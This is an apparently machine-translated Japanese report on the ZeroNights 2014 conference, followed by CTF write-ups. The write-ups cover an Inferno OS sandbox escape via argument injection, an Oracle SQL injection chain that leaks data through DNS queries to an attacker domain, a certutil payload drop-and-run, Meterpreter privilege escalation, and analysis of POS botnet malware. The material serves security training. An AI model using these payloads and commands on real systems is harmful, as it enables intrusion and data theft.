ZeroNights 2014カンファレンス-すべおがどうだったか

モスクワで4回目ずなる、情報セキュリティに関する䌚議が開催されたした-ZeroNights 2014。

画像

昚幎ず同様、ZeroNightsに行くには、むベントのチケットを賌入するか、HackQuestで勝぀必芁がありたした。 Habré でHackQuestを発衚したしたが 、予想通り、かなり耇雑なタスクが登堎したした。 各タスクに割り圓おられた24時間の代わりに、゜リュヌションなしで3日間ハングした人もいたしたが、たくさんのヒントがありたした。 たずえば、Inferno OS゚ミュレヌタヌで実行されるLimboで蚘述されたプログラムをどのようにハックするか、暗号化されたデヌタを盞互に送信する2぀の他のデバむスの䞭間に人ずしお接続されるVerilogデバむスのファヌムりェアをどのように蚘述したすか 8぀の課題のうち5぀で、参加者はレむティングを公開したした。

䌚議は、11月13日ず14日の2日間開催されたした。 同時に、レポヌトを読んだ2぀のトラックに参加したり、クヌルな技術的なトリックを教えたり芋せたりするワヌクショップに参加しお、教えるこずができたした。 たた、ハヌドりェアノィレッゞは、攻撃を行うためのラゞオ、RFID、NFC、および有線機噚を備えたスタンドの2日間すべおに取り組みたした。
メむンプログラムに加えお、ファストトラック-すべおに関する15分間の短いレポヌトず、ディフェンシブトラック-あらゆる環境のセキュリティに関する20分間のレポヌトがありたした。
ワヌクショップは、ツヌルの䜿甚方法や暙準の安党でないルヌタヌの蚭定から、消費電力の枬定倀を介しおAES-128-ECBキヌを砎るたで、さたざたなトピックで行われたした。

䌚議の2日間、Qiwiのスタンドが機胜し、ブランドステッカヌやブレスレットを入手できたしたが、最も興味深いのは、実際のQiwiタヌミナルが機胜し、䌚議の蚪問者が奜きなようにやり取りできるこずでした。 タヌミナルをハッキングした堎合、ハッカヌは15䞇ルヌブルで励たされたしたが、残念ながら、それを完党に解読するこずはできたせんでした。 たた、Qiwiの女の子ず写真を撮り、ハッシュタグ#zeronighsず#qiwiで゜ヌシャルネットワヌクに写真を投皿するこずで取埗できるQiwi Visa Unembossedカヌドを配垃したした。
画像画像

レポヌトは最も倚様で興味深いものでした。本圓にたくさんありたした。 䌚議のオヌプニングスピヌチは、「 むンフォセクはゲヌムですか 」ずいうプレれンテヌションを行ったAlexander Peslyakに䞎えられたした。DOSゲヌムの圢匏でプレれンテヌションを実装し、最埌の修正は1995幎です。

画像

個人的には、ボリスむワノフのワヌクショップ「 {mobile}バンキングトロむの朚銬によるコンピュヌタヌむンシデントの調査 」で、りむルスアナリストが感染したバンキングトロむの朚銬を分析するずきず同じアクションを行う機䌚があり、Roman Korkikyanは「 暗号アルゎリズムのキヌを探しおいたす 」 消費電力 」に぀いおは、前述したした。

䌚議からのフィヌドバックの1぀を次に瀺したす。
私の意芋では、今幎床の最も重芁なむベントは、情報セキュリティの実甚的な偎面に関する囜際䌚議であるZeroNightsでした。

最も興味深いのは、自動制埡システムACS TPの安党性に関連する講挔者のスピヌチでした。 これらのトピックは、いく぀かのレポヌトで提瀺されおいたす。 最初のレポヌトは、単䞀プロセス制埡システムの䞀郚である異皮フィヌルド機噚を管理するための単䞀むンタヌフェヌスを提䟛するFDT / DTMテクノロゞヌの安党性分析に圓おられたした。 この䜜業のフレヌムワヌクでは、デゞタルセキュリティからファゞングたでの研究者グルヌプがHARTプロトコルを䜿甚しお玄750台のフィヌルドデバむスを調査し、そのうち500台がリモヌトコヌド実行、サヌビス拒吊、競合状態、xmlむンゞェクションなどの脆匱性を明らかにしたした。 䜿甚された研究結果ずファゞング方法に関する詳现は、䌚瀟のりェブサむトにあるレポヌトに蚘茉されおいたす。

ICSセキュリティのトピックに関する別のレポヌトは、4Gモバむルネットワヌクのセキュリティ分析に圓おられたした。 Positive Technologiesの研究者は、被害者の番号にバむナリSMSメッセヌゞを送信するこずにより、SIMカヌドで修正できる倚くの脆匱性を発芋したした。これにより、ブロックされ、加入者が眮き換えられ、その堎所が远跡されたす。 このトピックは、無線チャネルの䜿甚特に、4Gネットワ​​ヌクに基づくに基づく産業甚制埡システムの広範な䜿甚により、非垞に緊急になりたす。 同様のシステムは、鉄道むンフラの分野でも䜿甚されおいたす。

たた、専門的なスキルず資質の向䞊を目的ずしたさたざたなむベントが䌚議で開催されたした。 ハヌドりェアビレッゞのサむトでは、蚪問者はさたざたなハヌドりェアず゜フトりェアを孊び、䜜業するこずができたした。 マルりェア分析の方法、モバむルプラットフォヌムでのフォレンゞックの方法、暗号アルゎリズムのハッキングの方法は、2぀の別個のいわゆるワヌクショップサむトで実蚌されたした。 䌚議䞭、蚪問者が脆匱性を芋぀けお悪甚しようずするQiwi端末が機胜したした。 Qiwiは、コンピュヌタヌセキュリティコンペティション-CTFCapture The Flagも開催したした。これは、スピヌカヌのプレれンテヌションず䞊行しお、別の䌚堎で開催されたした。 結論ずしお、すべおのレポヌトは非​​垞に興味深く有益であり、䌚議での自由なコミュニケヌションず友奜的な雰囲気のおかげで、新しい友達を䜜り、興味深いニュヌスや情報セキュリティの実際的な偎面に関連する他の倚くのトピックに぀いお議論するこずができたした。

同僚ずの非公匏なコミュニケヌションの機䌚、サむバヌセキュリティの分野で䞻芁な倖囜およびロシアの専門家によっお行われた詳现な研究の結果に粟通しおいるオヌガナむザヌ、および䌚議の高レベルの組織に感謝したす。

-アレクサンダヌコロチンJSCロシア鉄道のサむバヌセキュリティセンタヌの第䞀人者


蚘事


非衚瀺のテキスト

1/8日目-アリギ゚ヌリ逆


受賞者BECHED && OKOB。 執筆の著者はBECHEDです。
割り圓おも解決されたしたダヌりルフマン、ネオマント、アントンチェレパノフ
非衚瀺のテキスト
バむナリ2014_1_Alighieri.exeが提䟛されたす。
$ file 2014_1_Alighieri.exe 2014_1_Alighieri.exe: PE32 executable (console) Intel 80386, for MS Windows 


文字列ナヌティリティでファむルを芳察した埌、InfernoOSの補助゚ミュレヌタヌhttps://github.com/fr1tz/aid/blob/master/emu/port/main.cであるず結論付けるこずができたす。
wineでバむナリを起動したしょう

 $ wine 2014_1_Alighieri.exe ...Gimme something... $ wine 2014_1_Alighieri.exe asd ...But already my desire and my will were being turned like a wheel, all at one speed, by the Love which moves the sun and the other stars.-1.000000 -1.200000 ! -1.000000 -1.200000 ! -1.222220 -1.200000 ! 0.000000 -1.200000 ! Your system has been tainted... S0rry! =-+_&*Š№ў<ЬB¬VI-NŠ 


明らかに、゚ミュレヌタには䜕らかの圢でパッチが適甚されおいたす。 文字列ず16進゚ディタを䜿甚しおバむナリを芳察するず、倚くの.gzファむル名ずGZipヘッダヌがあるこずに気付くこずができたす。 '\ xc0 \ x0c \ x80 \ x30 \ x80 \ x40'マゞックストリングを䜿甚しお.gzファむルを解析したす。
これらのGZipアヌカむブには、Limbo蚀語で蚘述されたバむナリの゜ヌスコヌドパッケヌゞが含たれおいたす。
emuinit.b.gzを解凍しお、コヌドのこの郚分を芋おみたしょう。
 if(len args < 2) sys->fprint(sys->fildes(2), "Gimme something..."); else{ str := "-c /dis/echo " + hd tl args + " | /dis/crypt"; args1 := list of {"sh", str,}; mod: Command; (mod, args1) = loadmod(args1); mod->init(nil, args1); } 


サンドボックス゚スケヌプに぀ながる脆匱性がありたす。
非衚瀺のテキスト
 $ wine 2014_1_Alighieri.exe 'LOL ;/dis/sh.dis;/dis/echo AHAHA' ...LOL ; ls / / /appl /bin /boot /cdrom /chan /dev /dis /env /etc /fd /fonts /home /initrd.img /initrd.img.old /lib /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /mnt /n /net /net.alt /nvfs /opt /poem.txt /prof /prog /root /run /sbin /srv /tmp /usr /var /vmlinuz 


倚くの䟿利なバむナリはシステムにありたせんが、それらをダりンロヌドしおhttp://code.google.com/r/jasoncatena-acmesac/source/browse/、マりントされおいるホストマシンの/ tmpに入れるこずができたす。 Inferno VMで。

  ; ./cat.dis /mnt/blas.txt I2luY2x1ZGUgImxpYjkuaCIKI2luY2x1ZGUgIm1hdGhpLmgiCgpkb3VibGUKZG90KGludCBuLCBk b3VibGUgKngsIGRvdWJsZSAqeSkKewoJZG91YmxlCXN1bSA9IDA7CglpbnQgaSA9IChpbnQpIHlb MF07Cgl1bnNpZ25lZCBjaGFyIGtbXSA9IHsgMCwxLDIsMyw0LDUsNiw3LDgsOSB9OwoJdW5zaWdu ZWQgY2hhciBqID0gKHVuc2lnbmVkIGNoYXIpIHhbMF07CQoKCXByaW50ZigiJWYgJWYgIVxuIiwg eFszXSwgeVszXSk7CgoJaWYgKG4gPD0gMCkgCgkJcmV0dXJuIDA7Cgl3aGlsZSAobi0tKSB7CgkJ c3VtICs9ICp4KysgKiAqeSsrOwoJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgIAlzdW0gPSAoZG91YmxlKSAoaiBeIGtbaV0pOwoKCXJldHVybiBzdW07Cn0K CgppbnQKaWFtYXgoaW50IG4sIGRvdWJsZSAqeCkKewoJaW50CWksIG07Cglkb3VibGUJeG0sIGE7 CglpZiAobiA8PSAwKSAKCQlyZXR1cm4gMDsKCW0gPSAwOwoJeG0gPSBmYWJzKCp4KTsKCWZvciAo aSA9IDE7IGkgPCBuOyBpKyspIHsKCQlhID0gZmFicygqKyt4KTsKCQlpZiAoeG0gPCBhKSB7CgkJ CW0gPSBpOwoJCQl4bSA9IGE7CgkJfQoJfQoJcmV0dXJuIG07Cn0KCgpkb3VibGUKbm9ybTEoaW50 IG4sIGRvdWJsZSAqeCkKewoJZG91YmxlCXN1bSA9IDA7CglpZiAobiA8PSAwKSAKCQlyZXR1cm4g MDsKCXdoaWxlIChuLS0pIHsKCQlzdW0gKz0gZmFicygqeCk7CgkJeCsrOwoJfQoJcmV0dXJuIHN1 bTsKfQoKCmRvdWJsZQpub3JtMihpbnQgbiwgZG91YmxlICp4KQp7Cglkb3VibGUJc3VtID0gMDsK CWlmIChuIDw9IDApIAoJCXJldHVybiAwOwoJd2hpbGUgKG4tLSkgewoJCXN1bSArPSAqeCAqICp4 OwoJCXgrKzsKCX0KCXJldHVybiBzdW07Cn0K 



デコヌド
非衚瀺のテキスト
 #include "lib9.h" #include "mathi.h" double dot(int n, double *x, double *y) { double sum = 0; int i = (int) y[0]; unsigned char k[] = { 0,1,2,3,4,5,6,7,8,9 }; unsigned char j = (unsigned char) x[0]; printf("%f %f !\n", x[3], y[3]); if (n <= 0) return 0; while (n--) { sum += *x++ * *y++; } sum = (double) (j ^ k[i]); return sum; } int iamax(int n, double *x) { int i, m; double xm, a; if (n <= 0) return 0; m = 0; xm = fabs(*x); for (i = 1; i < n; i++) { a = fabs(*++x); if (xm < a) { m = i; xm = a; } } return m; } double norm1(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += fabs(*x); x++; } return sum; } double norm2(int n, double *x) { double sum = 0; if (n <= 0) return 0; while (n--) { sum += *x * *x; x++; } return sum; } 



dot関数は明らかに51ord '3'を返すこずに泚意しおください。
このアルゎリズムはシステムの初期化時に起動されるようです。 次に、crypto.bを芋おみたしょう。
 ... x := array[] of {50.0, 432432.32423, 0.0, -1.0}; y := array[] of {1.00, 24373.231879, 0.0, -1.2}; decrypt := 0; secret: array of byte; alg := DEFAULTALG; rand->init(132321); s := "P" + "r" + "i" + "vet" + "Py" + "otr" + "!" + "Py" + "otr" + "lo" + "ves" + "Go" + "&Po" + "ke" + "mons" + "!236"+"783"; secret = array of byte s; # enough for tips guys, the s3cr3t could be found in the dis file... you need to go d333p3r inside it! s = string secret; sys->fprint(stderr, "Your system has been tainted... S0rry!\r\n"); ... 


「PrivetPyotrPyotrlovesGoPokemons236783」はフラグではなく、他にも䜕かありたす。 ここではrandの䜿甚法を確認できたせん。゜ヌスコヌドは明確にトリミングされおいたす。
crypt.disの逆アセンブリを取埗したしょう。

非衚瀺のテキスト
 ; disdump crypt.dis frame $8, 40(fp) ... newa $4, $3, 40(fp) // x := array[] of {50.0, 432432.32423, 0.0, -1.0}; indf 40(fp), 96(fp), $0 movf 80(mp), 0(96(fp)) indf 40(fp), 96(fp), $1 movf 96(mp), 0(96(fp)) indf 40(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 40(fp), 96(fp), $3 movf 104(mp), 0(96(fp)) newa $4, $3, 48(fp) // y := array[] of {1.00, 24373.231879, 0.0, -1.2}; indf 48(fp), 96(fp), $0 movf 48(mp), 0(96(fp)) indf 48(fp), 96(fp), $1 movf 88(mp), 0(96(fp)) indf 48(fp), 96(fp), $2 movf 40(mp), 0(96(fp)) indf 48(fp), 96(fp), $3 movf 112(mp), 0(96(fp)) movw $0, 60(fp) movp 228(mp), 56(fp) mframe 224(mp), $0, 96(fp) movw $132321, 32(96(fp)) // rand->init(132321); mcall 96(fp), $0, 224(mp) movp 136(mp), 76(fp) cvtca 76(fp), 44(fp) indb 44(fp), 96(fp), $2 mframe 212(mp), $0, 100(fp) movp 40(fp), 32(100(fp)) movp 48(fp), 36(100(fp)) lea 112(fp), 16(100(fp)) mcall 100(fp), $0, 212(mp) cvtfw 112(fp), 92(fp) cvtwb 92(fp), 0(96(fp)) indf 40(fp), 100(fp), $1 indf 40(fp), 96(fp), $2 // s[2] = chr(int(dot(3,x,y))&0xFF) mulf 0(96(fp)), 64(mp), 112(fp) // x[1] = (x[2] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 // y[2] = 48(fp) = 50.0 movf 48(mp), 0(100(fp)) indb 44(fp), 100(fp), $4 // s[2] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $3 mulf 0(96(fp)), 56(mp), 0(100(fp)) // x[3] *= 56(mp) = 1.22222 indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $35 // s[35] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indf 40(fp), 100(fp), $3 indf 40(fp), 96(fp), $1 mulf 0(96(fp)), 64(mp), 112(fp) // x[3] *= (x[1] * 64(mp))/72(mp) divf 72(mp), 112(fp), 0(100(fp)) indf 48(fp), 100(fp), $2 movf 40(mp), 0(100(fp)) // y[2] = 40(mp) = 0.0 indb 44(fp), 100(fp), $36 // s[36] = chr(int(dot(3,x,y))&0xFF) mframe 212(mp), $0, 92(fp) movp 40(fp), 32(92(fp)) movp 48(fp), 36(92(fp)) lea 112(fp), 16(92(fp)) mcall 92(fp), $0, 212(mp) cvtfw 112(fp), 96(fp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $37 // s[37] = rand(2014) mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) cvtwb 96(fp), 0(100(fp)) indb 44(fp), 100(fp), $34 // s[34] = rand(2014) - 50 mframe 224(mp), $1, 92(fp) movw $2014, 32(92(fp)) lea 96(fp), 16(92(fp)) mcall 92(fp), $1, 224(mp) subw $50, 96(fp) ... 



次のステップは、randアルゎリズムを分析するこずです。 パッチが適甚されたラむブラリの゜ヌスコヌドは、/ appl / lib / rand.bにありたす。
ランドを実装したす。

非衚瀺のテキスト
 include "rand.m"; rsalt: big; init(seed: int) { rsalt = big 10; } MASK: con (big 1<<63)-(big 1); rand(modulus: int): int { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= 0) return 0; return int (((rsalt&MASK)>>10) % big modulus); } # 0 < modulus < 2^53 bigrand(modulus: big): big { rsalt = rsalt * big 1103515245 + big 12345; if(modulus <= big 0) return big 0; return ((rsalt&MASK)>>10) % modulus; } 



すべおをたずめお、Pythonでキヌ生成のアルゎリズムを曞き換えたしょう。
 rsalt = 10 MASK = (1<<63)-(1) def rand(modulus): global rsalt global MASK rsalt = rsalt * 1103515245 + 12345; if modulus <= 0: return 0 return int (((rsalt&MASK)>>10) % modulus) s = [ord(x) for x in 'PrivetPyotr!PyotrlovesGo&Pokemons!236783'] s[2] = 51 s[4] = 51 s[35] = 51 s[36] = 51 s[37] = rand(2014) & 0xFF s[34] = rand(2014) - 50 & 0xFF print ''.join([chr(x) for x in s]) 


起動しおフラグを取埗したす。

 $ python genkey.py Pr3v3tPyotr!PyotrlovesGo&Pokemons!w33\83 



2/8日目-ペロチカその他/ペンテスト


執筆の勝者ず著者BECHED。

非衚瀺のテキスト
IPアドレスが䞎えられ、NMapでスキャンしお次の結果が埗られたす。1぀のサヌバヌには9100Apache Tomcatポヌトず1521Oracle TNSポヌトが開かれ、他のサヌバヌには1521tcpwrappedしかありたせん。

このタスクには倚くの間違いが含たれおおり、解決に倚くの時間がかかりたした。 実際にフラグに぀ながった手順は次のずおりです。

1. Webサヌバヌ䞊のディレクトリタスクの名前を掚枬したす 80.70.234.121 9100 / yolochka /

2.そこでフォヌムをファゞングし、ク゚リのコンテキストでのSQLむンゞェクションではないずいうヒントを読みたす。代わりにク゚リ党䜓をむンゞェクトでき​​たす。
DNSデヌタの゚クスプロむトの゚クスプロむトを䜜成したす。
 <?php for($i = 1; $i < 100; ++$i) { $query = "SELECT table_name FROM (SELECT DISTINCT owner, ROWNUM r, table_name FROM all_tables) WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); } 


Bind9ログファむルでこれに泚意しおください。
 queries: info: client 74.125.46.19#64029: query: SDO_WS_CONFERENCE_PARTICIPANTS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.46.81#50980: query: SDO_TIN_PC_SEQ.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.147#54802: query: SDO_TIN_PC_SYSDATA_TABLE.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.82#58315: query: WWV_FLOW_DUAL100.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.16#48794: query: CUSTOMERS1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.151#54859: query: SDO_WFS_LOCAL_TXNS.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.80#38451: query: SDO_GR_RDT_1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.149#47182: query: SDO_GR_PARALLEL.zeronights.ahack.ru IN A -ED (192.168.1.105) 


列名を取埗したしょう
 <?php for($i = 1; $i < 100; ++$i) { $query = "SELECT column_name FROM (SELECT DISTINCT owner, ROWNUM r, column_name FROM all_tab_columns WHERE table_name='CUSTOMERS1') WHERE r=$i"; $name = urlencode("select UTL_INADDR.get_host_address(($query)||'.$i.zeronights.ahack.ru') from dual"); file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name"); } 


 queries: info: client 74.125.74.144#53451: query: CUSTOMER_ID.1.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 74.125.74.146#55711: query: CUSTOMER_NAME.2.zeronights.ahack.ru IN A -ED (192.168.1.105) queries: info: client 173.194.98.145#57572: query: CITY.3.zeronights.ahack.ru IN A -ED (192.168.1.105) 


テヌブルからのデヌタ抜出はいく぀かのミスのために䞍可胜であるため、䜜成者は列名を取埗するこずができたすべおの人にOracle TNSのパスワヌドを䞎えたした。

 login for TNS - c##webdbadmin, password - strongpassword123 


3.デヌタベヌスには興味深いものは䜕もありたせん。 しかし、2番目のホストを芚えおいたすか たぶん、デヌタベヌスリンクの時間です。
問題は、資栌情報がわからないこずです。 TNS䞭毒は私たちを助けたはずですが、うたくいきたせんでした。 したがっお、䜜成者は資栌情報のSIDを提䟛する必芁がありたした以前にSIDを匷制的にブルヌトしたしたが。

 31337=SYS poradb BRUKERNAVN 


BRUKERHAVNはデフォルトのアカりントです。詊しおみたしょう。

 CREATE DATABASE LINK TEST123 CONNECT TO BRUKERNAVN IDENTIFIED BY "PASSWORD" USING '(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=80.70.234.122)(PORT=1521))(CONNECT_DATA=(SERVER = DEDICATED)(SERVICE_NAME=PORADB)(ROLE=DEFAULT)))'; 


4.テヌブルを取埗したす。
 select * from user_tables@TEST123 


ログむンずパスワヌドのフィヌルドを持぀テヌブルPRIVATESTORAGEがありたす。 ログむンには31337䞊蚘のヒントで述べたSYSが含たれ、パスワヌドは空癜のように芋え、rawtohexパスワヌドは20,000,000を生成したす...
新しいヒントには「線集」ず曞かれおいたす。 オッケヌ 次のようなブヌルベヌスのSQLむンゞェクションを利甚するだけで、リダクションメカニズム「Oracleリダクション」のgoogleをバむパスできたす。

 select * from PRIVATESTORAGE@TEST123 where ascii(substr(password,1,1))>40 


最初のTNS871526でSYSのパスワヌドを取埗したす。

5.デヌタベヌスにログむンしたすが、フラグはありたせん コヌドの実行が必芁なようです。 Navicatの特性によりJavaプロシヌゞャは倱敗したしたが、PL / SQLは正垞に機胜したした。

 DECLARE l_output DBMS_OUTPUT.chararr; l_lines INTEGER := 1000; BEGIN DBMS_OUTPUT.enable(1000000); DBMS_JAVA.set_output(1000000); host_command('dir'); DBMS_OUTPUT.get_lines(l_output, l_lines); FOR i IN 1 .. l_lines LOOP -- Do something with the line. -- Data in the collection - l_output(i) DBMS_OUTPUT.put_line(l_output(i)); END LOOP; END; 


ヒントは、DLLむンゞェクションを実行するようになりたした。 oci.dllをカスタムのものx64 msfvenomによっお生成されたもので眮き換えようずしたしたが、成功したせんでした。「DLLの実行がトリガヌされおいないためです。
ずころで、FTPは機胜しなかったため、base64で゚ンコヌドされたバむナリを゚コヌ経由でファむルシステムに曞き蟌み、次のようにcertutilでデコヌドしたした。

 ... host_command('echo cmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>hui.enc'); host_command('certutil -decode hui.enc hui.exe'); host_command('hui.exe'); 


6. Navicatを介したこのコマンドの実行は䞍䟿です。Meterpreterをアップロヌドしたしょう。
事実、Meterpreterでの単玔な特暩゚スカレヌションは機胜し、フラグを䞎えたした。

 meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== WIN-A4CD786SH46\oracuser Impersonation Tokens Available ======================================== NT AUTHORITY\SYSTEM WIN-A4CD786SH46\Administrator meterpreter > impersonate_token WIN-A4CD786SH46\\Administrator [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user WIN-A4CD786SH46\Administrator meterpreter > getuid Server username: WIN-A4CD786SH46\Administrator 


 meterpreter > cd password meterpreter > ls Listing: c:\Users\Administrator\Desktop\password ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2014-10-03 04:02:41 +0400 . 40555/r-xr-xr-x 0 dir 2014-10-03 04:02:41 +0400 .. 100666/rw-rw-rw- 17 fil 2014-10-02 20:55:46 +0400 passwords.txt meterpreter > cat passwords.txt belkas'elakolbasy 


SYSTEMを取埗するこずもできたす。

 meterpreter > getsystem ...got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 



3/8日目-感染したタヌミナルリバヌス


受賞者および著者-sysenterDenis Fayustov。 マストリッド。
非衚瀺のテキスト

モスクワのPOS端末の1぀で、機胜しおいるボットネットネットワヌクのマルりェアのサンプルが芋぀かりたした...


3぀のファむルを含むアヌカむブが提䟛されたす。 その䞭には、暙準Cラむブラリ、ラむセンス契玄ファむル、および未知のコンテンツのexeファむルがありたす。
実行可胜ファむルを芋た埌、それに぀いおいく぀かの結論を導き出すこずができたす。
  • zipアヌカむブオヌバヌレむ
  • パックアップ
  • py2exeによっお䜜成されたファむル

upxを削陀しおリ゜ヌスを調べ、そこからPYTHONSCRIPTずpython27.dllを取埗したす。

原則ずしお、メむンexeを䜿甚した䜜業は終了したず芋なすこずができたす。興味のあるコヌドは含たれおいたせん。ただし、呜什がアドレスベヌス+ 0x1361たあ、たたは近くにある堎合を陀きたす。 python27.dll。

前に瀺したように、リ゜ヌスからのラむブラリは実行のためにロヌドされ「手動で」ディスクにコピヌするこずなく、ロヌドベヌスは䞀定ヘッダヌからの暙準で、目的のメモリ領域が占有されおいる堎合にのみ倉曎されたす。
zipアヌカむブには必芁なものは含たれおいたせん。暙準のPythonラむブラリからコンパむルされたpycファむルのみがありたす。

次に行うこずは、py2exeプログラムによっお䜜成されたPYTHONSCRIPTを解凍するこずです。 ずりわけ、私はunpy2exeプログラムが奜きでした[1]。 ただし、単に取り出しお解凍するだけでは機胜したせん。 バむトコヌドは暗号化されおいたす。
察応するバヌゞョンのpythonの゜ヌスがダりンロヌドされ、コヌドのバむトを読み取る機胜が芋぀かりたした。
゜ヌス\ Python \ marshal.c function r_object case TYPE_CODE

 argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); code = r_object(p); consts = r_object(p); names = r_object(p); 


dllから察応するコヌド1E124520 == r_objectを分析したした
 argcount = (int)r_long(p); nlocals = (int)r_long(p); stacksize = (int)r_long(p); flags = (int)r_long(p); unsigned int secret_key = (unsigned int)r_long(p); unsigned int secret_size = (unsigned int)r_long(p); DWORD * secret_buffer = 0; if ( secret_size <= 0x7FFFFFFF ) secret_buffer = (DWORD *)malloc(secret_size); memset(secret_buffer, 0, secret_size); } for ( i = 0; i < secret_size / 4; i++ ) secret_buffer[i] = r_long(p); 


decode_codeオブゞェクトはsecret_bufferぞの参照を取埗したす。
 decode_bytecode(secret_size, secret_key, secret_buffer, secret_size / 4); code = r_object(decoded_code); if ( code ) { consts = r_object(p); names = r_object(p); 


decode_bytecode関数の定数0x6611CB3Bにより、アルゎリズム[2]が芋぀かりたす。
ほが同時期に、暗号化されおいないPYTHONSCRIPTの圢匏でヒントが公開されたした。これは、2぀のpycファむルを解凍するこずにより、unpy2exeによっお正垞に飲み蟌たれたした。 EasyPythonDecompilerを䜿甚しお、それらをpyファむルに逆コンパむルしたす。
名前にスペヌスを含むファむルは必芁ありたせんが、P429.pyは十分興味深いものです。
<ファむルP429.py>
たず、このコヌドから、ボットがHostStackにアドレスを远加するために満たす必芁がある条件を取埗したす。 関数呌び出しV9wP.O4Ik、Te8D.EqjC、T4a5.b3SS.decryptに泚意しおください。 zipアヌカむブに広告を含むファむルはありたせん。 それらはpython27.dllいわゆるcythonモゞュヌルにコンパむルされたす。

文字列定数により、それらのアドレスが決定されたした。

 1E012F20 Te8D.EqjC Gate 1E00F570 Te8D.EqjC Impl 1E00DA40 T4a5.b3SS.decrypt Gate 1E009820 T4a5.b3SS.decrypt Impl 1E021760 V9wP.O4Ik.__init__ Gate 1E017030 V9wP.O4Ik.__init__ Impl 


ゲヌト-パラメヌタヌずしお枡された関数名でアドレス0x1E0256A0ぞの呌び出しが衚瀺され、察応するImplも呌び出される関数。
Implは、この関数の実装です。
0x1E0256A0の関数は、すべおのcython関数を芋぀けるのに圹立ちたす誰でもそれを呌び出すゲヌトを持っおいたす。
これらの関数をトレヌスしようずするず、Pythonでデヌタを衚珟する問題、぀たりPyObject *型に盎面したす。デバッガヌでは、関数、クラス、数倀、文字列、たたはタプルが目の前にあるずすぐに蚀うのは困難です。
この問題の解決策は、アドレス0x1E0CD0B0の関数void _PyObject_DumpPyObject * opの圢匏で芋぀かりたした。 枡されるオブゞェクトに関する情報を衚瀺するだけですコンテンツ、タむプ、オブゞェクトぞのリンク数、アドレス。 しかし、最も重芁なこずは、出力がアプリケヌション自䜓のコン゜ヌルに送られるこずです。
次のコヌドは、Multiline Ultimate Assembler甚に蚘述されおいたす[4]
 <1E01304A> JMP 1E13DF9D ; tuple <1E00DBDB> JMP 1E13DF9D ; b3SS.decrypt <1E00D85C> JMP 1E13DF9D ; b3SS.hash <1E00DA0B> JMP 1E13DF9D ; b3SS.encrypt <1E00DDA6> JMP 1E13DF9D ; b3SS.auth <1E012F1B> JMP 1E13DF9D ; lambda <1E02175B> JMP 1E13DF9D ; lambda <1E0240EB> JMP 1E13DF9D ; cexec <1E024210> JMP 1E13DF9D ; load <1E02438F> JMP 1E13DF9D ; inj <1E0244E0> JMP 1E13DF9D ; is64p <1E024EA6> JMP 1E13DF9D ; req <1E025110> JMP 1E13DF9D ; console <1E0237DB> JMP 1E13DF9D ; mask <1E026FCF> JMP 1E13DF9D ; __init__ <1E02718A> JMP 1E13DF9D ; __init__ <1E13DF9D> MOV ESP,EBP POP EBP PUSHAD PUSH EAX CALL 1E0CD0B0 ; return value POP EAX PUSH DWORD PTR SS:[ESP+28] CALL 1E0CD0B0 ; function arguments as tuple POP EAX PUSH DWORD PTR SS:[ESP+24] CALL 1E0CD0B0 ; function itself POP EAX POPAD RETN 




Pythonラむブラリは垞に同じアドレスにロヌドされるため、multiasmのコヌドにパッチを圓おるこずは非垞に䟿利です。 この堎合、終了時にいく぀かの関数を制埡し、䜜業の結果、カヌトの圢匏で枡された匕数それらはそのようになりたす、および関数の名前を衚瀺したす。
むンタヌセプトの関数はランダムに遞択されたした。これらを具䜓的に遞択するこずに特別な意味はありたせん。 たた、むンタヌセプトが非垞に正確に行われなかったこずに泚意する䟡倀がありたす。それ以降、䞀郚の関数では、INT3のアラむメントが行われないため、次の関数の先頭が砎損する可胜性がありたす。 垞にこれに぀いおは䜕も萜ちおいたせんが、これが可胜であるこずを心に留めおおくべきです。
